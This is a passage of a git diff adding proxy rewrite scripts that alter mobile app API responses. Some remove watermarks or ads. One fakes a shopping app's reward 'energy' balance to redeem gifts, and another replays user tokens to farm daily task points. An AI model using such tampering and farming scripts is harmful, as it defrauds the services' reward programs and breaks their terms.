console.log("写入缓存val:" + JSON.stringify(commitsRsp)); + $.setdata(JSON.stringify(commitsRsp), "fmz200.xiaohongshu.comments.rsp"); + } +} + +// 下载评论区live图 +if (url.includes("/api/sns/v1/interaction/comment/video/download?")) { + const commitsCache = $.getdata("fmz200.xiaohongshu.comments.rsp"); + console.log("读取缓存val:" + commitsCache); + console.log("目标video_id:" + obj.data.video.video_id); + if (commitsCache) { + let commitsRsp = JSON.parse(commitsCache); + if (commitsRsp.livePhotos.length > 0 && obj.data?.video) { + for (const item of commitsRsp.livePhotos) { + // console.log("缓存video_id:" + item.videId); + if (item.videId === obj.data.video.video_id) { + console.log("匹配到无水印链接:" + item.videoUrl); + obj.data.video.video_url = item.videoUrl; + break; + } + } + } + } else { + console.log(`没有[${obj.data?.video.video_id}]的无水印地址`); + } +} + +$done({body: JSON.stringify(obj)}); + +// 小红书画质增强:加载2K分辨率的图片 +function imageEnhance(jsonStr) { + if (!jsonStr) { + console.error("jsonStr is undefined or null"); + return []; + } + + const imageQuality = $.getdata("fmz200.xiaohongshu.imageQuality"); + console.log(`Image Quality: ${imageQuality}`); + if (imageQuality === "original") { // 原始分辨率,PNG格式的图片,占用空间比较大 + console.log("画质修改为-原始分辨率"); + jsonStr = jsonStr.replace(/\?imageView2\/2[^&]*(?:&redImage\/frame\/0)/, "?imageView2/0/format/png&redImage/frame/0"); + } else { // 高像素输出 + console.log("画质修改为-高像素输出"); + const regex1 = /imageView2\/2\/w\/\d+\/format/g; + jsonStr = jsonStr.replace(regex1, `imageView2/2/w/2160/format`); + + const regex2 = /imageView2\/2\/h\/\d+\/format/g; + jsonStr = jsonStr.replace(regex2, `imageView2/2/h/2160/format`); + } + console.log('图片画质增强完成✅'); + + try { + return JSON.parse(jsonStr); + } catch (e) { + console.error("JSON parsing error: ", e); + return []; + } +} + +function replaceUrlContent(collectionA, collectionB) { + console.log('替换无水印的URL'); + collectionA.forEach(itemA => { + const itemB = collectionB.find(itemB => itemB.file_id === itemA.file_id); + if (itemB) { + itemA.url = itemA.url !== "" ? itemA.url.replace(/(.*)\.mp4/, `${itemB.url.match(/(.*)\.mp4/)[1]}.mp4`) : itemB.url; + itemA.author = "@fmz200" + } + }); +} + +function deduplicateLivePhotos(livePhotos) { + const seen = new Map(); + livePhotos = livePhotos.filter(item => { + if (seen.has(item.videId)) { + return false; + } + seen.set(item.videId, true); + return true; + }); + return livePhotos; +} + +function replaceRedIdWithFmz200(obj) { + if (Array.isArray(obj)) { + obj.forEach(item => replaceRedIdWithFmz200(item)); + } else if (typeof obj === 'object' && obj !== null) { + if ('red_id' in obj) { + obj.fmz200 = obj.red_id; // 创建新属性fmz200 + delete obj.red_id; // 删除旧属性red_id + } + Object.keys(obj).forEach(key => { + replaceRedIdWithFmz200(obj[key]); + }); + } +} + +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } isShadowrocket() { return "undefined" != typeof $rocket } isStash() { return "undefined" != typeof $environment && $environment["stash-version"] } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, a] = i.split("@"), n = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), a = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(a); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { if (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, i) }); else if (this.isQuanX()) this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t && t.error || "UndefinedError")); else if (this.isNode()) { let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: i, statusCode: r, headers: o, rawBody: a } = t, n = s.decode(a, this.encoding); e(null, { status: i, statusCode: r, headers: o, rawBody: a, body: n }, n) }, t => { const { message: i, response: r } = t; e(i, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, i) }); else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t && t.error || "UndefinedError")); else if (this.isNode()) { let i = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...o } = t; this.got[s](r, o).then(t => { const { statusCode: s, statusCode: r, headers: o, rawBody: a } = t, n = i.decode(a, this.encoding); e(null, { status: s, statusCode: r, headers: o, rawBody: a, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && i.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, i = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": i } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), this.isSurge() || this.isQuanX() || this.isLoon() ? $done(t) : this.isNode() && process.exit(1) } }(t, e) } diff --git a/Scripts/xiaotucc.js b/Scripts/xiaotucc.js new file mode 100644 index 00000000..2218f921 --- /dev/null +++ b/Scripts/xiaotucc.js @@ -0,0 +1,9 @@ +if (-1 != $request.url.indexOf("main_page/index/getActivity")) { + let obj = JSON.parse($response.body); + delete obj.data.p3; + $done({body: JSON.stringify(obj)}); +} else if (-1 != $request.url.indexOf("mall/main")) { + let obj = JSON.parse($response.body); + delete obj.data; + $done({body: JSON.stringify(obj)}); +} else $done($response); \ No newline at end of file diff --git a/Scripts/xmecard.js b/Scripts/xmecard.js new file mode 100644 index 00000000..64b54770 --- /dev/null +++ b/Scripts/xmecard.js @@ -0,0 +1,19 @@ +let obj = + { + "result": { + "imgUrl": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/pic/pop/p0.jpeg", + "orderBy": 0, + "cRule": [{"key": "advTime", "sign": "=", "value": "0", "url": "www.baidu.com"}], + "id": 465, + "order": 0, + "title": "手机e通卡", + "imgId": null, + "urlParam": "[]", + "gCode": "startAdv", + "subTitle": null, + "url": "-" + }, + "flag": 0 + }; +let body = JSON.stringify(obj); +$done({body}); \ No newline at end of file diff --git a/Scripts/xmly_json.js b/Scripts/xmly_json.js new file mode 100644 index 00000000..79f24dde --- /dev/null +++ b/Scripts/xmly_json.js @@ -0,0 +1,2 @@ +const version = 'V1.0.38'; +let body=$response.body;if(body){switch(!0){case/discovery-category\/customCategories/.test($request.url):try{let e=JSON.parse(body);e.customCategoryList&&(e.customCategoryList=e.customCategoryList.filter(e=>("recommend"==e.itemType||"template_category"==e.itemType||"single_category"==e.itemType)&&1005!==e.categoryId)),e.defaultTabList&&(e.defaultTabList=e.defaultTabList.filter(e=>("recommend"==e.itemType||"template_category"==e.itemType||"single_category"==e.itemType)&&1005!==e.categoryId)),body=JSON.stringify(e)}catch(t){console.log("customCategories: "+t)}break;case/discovery-category\/v\d\/category/.test($request.url):try{let a=JSON.parse(body);a.focusImages&&a.focusImages.data&&(a.focusImages.data=a.focusImages.data.filter(e=>-1!=e.realLink.indexOf("open")&&!e.isAd)),body=JSON.stringify(a)}catch(r){console.log("categories: "+r)}break;case/focus-mobile\/focusPic/.test($request.url):try{let s=JSON.parse(body);s.header&&s.header.length<=1&&(s.header[0].item.list[0].data=s.header[0].item.list[0].data.filter(e=>-1!=e.realLink.indexOf("open")&&!e.isAd)),body=JSON.stringify(s)}catch(i){console.log("discovery-feed"+i)}break;case/discovery-feed\/v\d\/mix/.test($request.url):try{let o=JSON.parse(body);o.header?.length==2&&delete o.header[0],o.body=o.body.filter(e=>!(e.item?.adInfo||e.item?.moduleType=="mix_ad"||"bigCard"==e.displayClass)),body=JSON.stringify(o)}catch(d){console.log("discovery-feed:"+d)}break;case/mobile-user\/v\d\/homePage/.test($request.url):try{let c=new Set([210,213,215]),y=JSON.parse(body);if(y.data.serviceModule.entrances){let l=y.data.serviceModule.entrances.filter(e=>c.has(e.id));y.data.serviceModule.entrances=l}body=JSON.stringify(y)}catch(g){console.log("mobile-user:"+g)}break;default:$done({})}$done({body})}else $done({}); diff --git a/Scripts/xxyx/xxyx.js b/Scripts/xxyx/xxyx.js new file mode 100644 index 00000000..9339f9f0 --- /dev/null +++ b/Scripts/xxyx/xxyx.js @@ -0,0 +1,20 @@ +/** + * @author fmz200 + * @function 晓晓优选 测试 + * @date 2024-05-16 08:16:13 + */ + +let requestUrl = $request.url; +let responseBody = $response.body; + +let obj = JSON.parse(responseBody); + +// 能量解锁,可以直接兑换好礼 +// 官方加了验证,已不可用 +// ^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/client\/energy\/mall\/getUserEnergy url script-response-body xxyx.js +if (requestUrl.includes("/client/energy/mall/getUserEnergy")) { + obj.data.energy = 10086; + console.log('设置energy成功💕'); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/xxyx/xxyx_signin.js b/Scripts/xxyx/xxyx_signin.js new file mode 100644 index 00000000..f863ca89 --- /dev/null +++ b/Scripts/xxyx/xxyx_signin.js @@ -0,0 +1,166 @@ +/** + * @author fmz200 + * @function 晓晓优选每日任务 + * @date 2025-05-25 22:30:00 + * + * 获取token: + * ^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/my url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js + * QX task: + * 16 7 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xxyx/xxyx_signin.js, tag=晓晓优选每日任务, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xxyx.jpeg, enabled=true + */ + +const $ = new Env('晓晓优选签到'); +const isNode = $.isNode(); +const notify = isNode ? require('./sendNotify') : ''; +$.nodeNotifyMsg = []; // nodeJS合并通知 + +const tokenList = isNode ? process.env["fmz200_xxyx_token"] : $.getdata("fmz200_xxyx_token"); + +startTasks().then(r => $.done()); + +async function startTasks() { + if (!tokenList || JSON.parse(tokenList).length === 0) { + await sendMsg("❌ 请先获取晓晓优选token", ""); + $.done(); + } + let json_token = JSON.parse(tokenList); + + for (const item of json_token) { + let token = item.token; + let username = item.username; + let avatar = item.avatar; + let energy = 0; // 总共获取的能量 + + let taskList = await getTaskList(token); + // console.log("收到响应:" + taskList); + if (taskList && taskList.length > 0) { + for (const task of taskList) { + // 1、每日签到 + if (task.taskId === 1) { + $.log(`🟢开始[${task.taskName}]...`); + const successSign = await singIn(token); + if (successSign) { + energy += task.energyBase; + } + } + + // 2:去分享 每日一次 + // 3:去观看 每日20次 + if (task.taskId === 2 || task.taskId === 3) { + $.log(`🟢开始[${task.taskName}]...`); + // 还需要完成的次数 + let remainTasks = task.dailyCount - task.completedTimes; + console.log(`当前任务类型[${task.taskId}]待完成数量:${remainTasks}`); + if (remainTasks > 0) { + for (let i = 0; i < remainTasks; i++) { + // 执行任务 + const success = await completeTask(token, task.taskId); + if (success) { + energy += task.energyBase; + } + } + } else { + console.log(`当前任务类型[${task.taskId}]已经完成`); + } + } + } + const subMsg = `[${username}]本次运行共获得${energy}能量`; + if (!isNode) { + $.msg($.name, subMsg, '', {'open-url': '', 'media-url': avatar}); + } else { + $.nodeNotifyMsg.push(subMsg); + } + + } + } + // console.log(`脚本运行结束`); + if (isNode) await sendMsg($.nodeNotifyMsg.join("\n"), ""); + $.done(); +} + +// 每日签到 +function singIn(token) { + // 获取当前时间的时间戳 + const currentTimeStamp = new Date().getTime(); + let options = { + url: `https://xxyx-client-api.xiaoxiaoyouxuan.com/client/energy/mall/signIn`, + headers: { + 'xx-time': `${currentTimeStamp}`, + 'xx-token': `${token}`, + 'xx-version': `20480`, + 'xx-platform': `ios`, + 'User-Agent': `XiaoXiaoYouXuan/20480 CFNetwork/3826.400.120 Darwin/24.3.0`, + 'Content-Type': `application/json;charset=utf-8`, + 'Host': `xxyx-client-api.xiaoxiaoyouxuan.com` + }, + body: `{"platform":"ios"}`, + }; + + return $.http.post(options).then((resp) => { + $.log("接收到响应体:" + resp.body); + let rsp_body = JSON.parse(resp.body); + return rsp_body.success; + }).catch((err) => { + $.log("🔴请求失败!", err); + }); +} + +// 每日任务列表 +function getTaskList(token) { + let taskList = null; + // 获取当前时间的时间戳 + const currentTimeStamp = new Date().getTime(); + let options = { + url: `https://xxyx-client-api.xiaoxiaoyouxuan.com/client/energy/mall/getTaskList?platform=ios`, + headers: { + 'xx-time': `${currentTimeStamp}`, + 'xx-token': `${token}`, + 'xx-version': `20480`, + 'xx-platform': `ios`, + 'User-Agent': `XiaoXiaoYouXuan/20480 CFNetwork/3826.400.120 Darwin/24.3.0`, + 'Content-Type': `application/json;charset=utf-8`, + 'Host': `xxyx-client-api.xiaoxiaoyouxuan.com` + }, + }; + + return $.http.get(options).then((resp) => { + console.log("每日任务列表:" + resp.body); + let rsp_body = JSON.parse(resp.body); + if (rsp_body.success) { + taskList = rsp_body.data; + // console.log("taskList:" + taskList); + return taskList; + } + }).catch((err) => { + $.log("🔴请求失败!", err); + }); +} + +// 每日任务 +function completeTask(token, taskId) { + let options = { + url: `https://xxyx-client-api.xiaoxiaoyouxuan.com/client/energy/mall/completeTask/${taskId}?`, + headers: { + 'xx-token': `${token}`, + 'xx-version': `20480`, + 'xx-platform': `ios`, + 'User-Agent': `XiaoXiaoYouXuan/20480 CFNetwork/3826.400.120 Darwin/24.3.0`, + 'Content-Type': `application/json;charset=utf-8`, + 'Host': `xxyx-client-api.xiaoxiaoyouxuan.com` + }, + body: `{"taskId":${taskId},"platform":"ios"}`, + }; + + return $.http.post(options).then((resp) => { + $.log("接收到响应体:" + resp.body); + let rsp_body = JSON.parse(resp.body); + return rsp_body.success; + }).catch((err) => { + $.log("🔴请求失败!", err); + }); +} + +// API start +async function sendMsg(desc, opts) { $.isNode() ? await notify.sendNotify($.name, desc) : $.msg($.name, $.subTitle || "", desc, opts) } +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let 